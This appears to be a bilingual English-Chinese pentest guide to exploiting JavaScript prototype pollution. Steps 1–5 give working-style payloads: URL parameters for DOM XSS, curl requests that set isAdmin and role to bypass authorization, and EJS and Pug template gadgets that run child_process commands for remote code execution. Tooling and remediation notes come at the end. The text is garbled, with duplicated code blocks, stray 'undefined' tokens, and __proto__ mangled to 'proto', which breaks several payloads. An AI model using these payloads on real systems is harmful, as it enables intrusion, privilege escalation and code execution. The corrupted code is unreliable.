exploiting-prototype-pollution-in-javascript
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseExploiting Prototype Pollution in JavaScript
利用JavaScript原型污染
When to Use
适用场景
- When testing Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- When evaluating npm packages for prototype pollution gadgets
- 测试Node.js或重度依赖JavaScript的Web应用时
- 评估接受深度合并JSON对象的API时
- 测试客户端JavaScript框架中通过原型污染实现DOM XSS的可能性时
- 审核对象合并/克隆/扩展操作的代码时
- 评估npm包中的原型污染利用链(gadget)时
Prerequisites
前提条件
- Burp Suite with DOM Invader extension for client-side prototype pollution detection
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
- Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
- 安装了DOM Invader扩展的Burp Suite,用于客户端原型污染检测
- Node.js开发环境,用于服务器端测试
- 了解JavaScript原型链和对象继承机制
- 熟悉常见的污染利用链(来源、接收端和可利用属性)
- 用于服务器端检测的Prototype Pollution Gadgets Scanner Burp扩展
- 用于客户端原型操作的浏览器开发者控制台
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权测试不属于您或未获得书面许可的系统是非法行为,可能违反计算机欺诈相关法律。
Workflow
操作流程
Step 1 — Identify Prototype Pollution Sources
步骤1 — 识别原型污染源
javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=valuejavascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=valueStep 2 — Test Server-Side Prototype Pollution
步骤2 — 测试服务器端原型污染
bash
undefinedbash
undefinedTest via JSON body with proto
Test via JSON body with proto
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'
Test via constructor.prototype
Test via constructor.prototype
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
Test for status code reflection (detection technique)
Test for status code reflection (detection technique)
Pollute status property to detect server-side pollution
Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'
If response returns 510, server-side pollution confirmed
If response returns 510, server-side pollution confirmed
JSON content type pollution
JSON content type pollution
curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
undefinedcurl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
undefinedStep 3 — Exploit Client-Side for DOM XSS
步骤3 — 利用客户端原型污染实现DOM XSS
javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinksjavascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinksStep 4 — Exploit Server-Side for RCE
步骤4 — 利用服务器端原型污染实现RCE
bash
undefinedbash
undefinedNode.js child_process gadget (RCE)
Node.js child_process gadget (RCE)
If application calls child_process.execSync(), spawn(), or fork():
If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
EJS template engine gadget
EJS template engine gadget
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'
Handlebars template gadget
Handlebars template gadget
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
Pug template engine gadget
Pug template engine gadget
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
undefinedcurl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
undefinedStep 5 — Exploit for Authentication and Authorization Bypass
步骤5 — 利用原型污染绕过身份验证与授权
bash
undefinedbash
undefinedPollute isAdmin or role property
Pollute isAdmin or role property
curl -X POST http://target.com/api/profile
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'
curl -X POST http://target.com/api/profile
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'
Pollute auth-related properties
Pollute auth-related properties
curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'
curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'
Bypass JSON schema validation
Bypass JSON schema validation
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
undefinedcurl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
undefinedStep 6 — Detect with Automated Tools
步骤6 — 使用自动化工具检测
bash
undefinedbash
undefinedUse ppfuzz for automated detection
Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt
ppfuzz -l urls.txt -o results.txt
Nuclei templates for prototype pollution
Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
Server-side detection with Burp Scanner
Server-side detection with Burp Scanner
Enable "Server-side prototype pollution" scan check
Enable "Server-side prototype pollution" scan check
Review issues in Burp Dashboard
Review issues in Burp Dashboard
Manual detection via timing/error-based techniques
Manual detection via timing/error-based techniques
Pollute a property that causes detectable server behavior change
Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'
If server errors (500), pollution is working
If server errors (500), pollution is working
undefinedundefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| proto | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process proto as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |
| 概念 | 说明 |
|---|---|
| 原型链 | JavaScript的继承机制,对象从Object.prototype继承属性 |
| proto | 用于暴露对象原型的访问器属性 |
| 污染源 | 允许在Object.prototype上设置属性的输入点 |
| 污染接收端 | 读取污染属性并执行危险操作的代码 |
| 利用链(Gadget) | 从原型流向危险接收端的属性(来源到接收端的链路) |
| 深度合并 | 可能将__proto__视为常规键处理的递归对象合并函数 |
| constructor.prototype | 访问并污染原型对象的替代路径 |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |
| 工具 | 用途 |
|---|---|
| DOM Invader | Burp Suite内置工具,用于检测客户端原型污染 |
| Prototype Pollution Gadgets Scanner | 用于服务器端利用链检测的Burp扩展 |
| ppfuzz | 自动化原型污染模糊测试工具 |
| Nuclei | 基于模板的扫描器,包含原型污染检测模板 |
| server-side-prototype-pollution | Burp Scanner中用于服务器端检测的检查项 |
| ESLint security plugin | 用于代码中原型污染模式静态分析的插件 |
Common Scenarios
常见场景
- DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
- RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
- Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
- JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
- Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives
- 通过分析脚本实现DOM XSS — 污染transport_url属性,利用读取原型中URL的分析跟踪脚本注入JavaScript
- 通过模板引擎实现RCE — 利用EJS/Pug/Handlebars的利用链,通过污染的模板渲染属性执行任意命令
- 管理员权限提升 — 污染isAdmin或role属性,绕过Node.js应用中的授权检查
- 绕过JSON Schema验证 — 污染模式验证属性,绕过输入验证并注入恶意数据
- 拒绝服务(DoS) — 污染toString或valueOf,在对象被强制转换为原始值时导致应用崩溃
Output Format
输出格式
undefinedundefinedPrototype Pollution Assessment Report
Prototype Pollution Assessment Report
- Target: http://target.com
- Type: Server-Side Prototype Pollution
- Impact: Remote Code Execution via EJS template gadget
- Target: http://target.com
- Type: Server-Side Prototype Pollution
- Impact: Remote Code Execution via EJS template gadget
Findings
Findings
| # | Source | Gadget | Sink | Impact |
|---|---|---|---|---|
| 1 | POST /api/merge proto | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile proto | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?proto[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
| # | Source | Gadget | Sink | Impact |
|---|---|---|---|---|
| 1 | POST /api/merge proto | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile proto | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?proto[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
Remediation
Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize proto and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
undefined- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize proto and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
undefined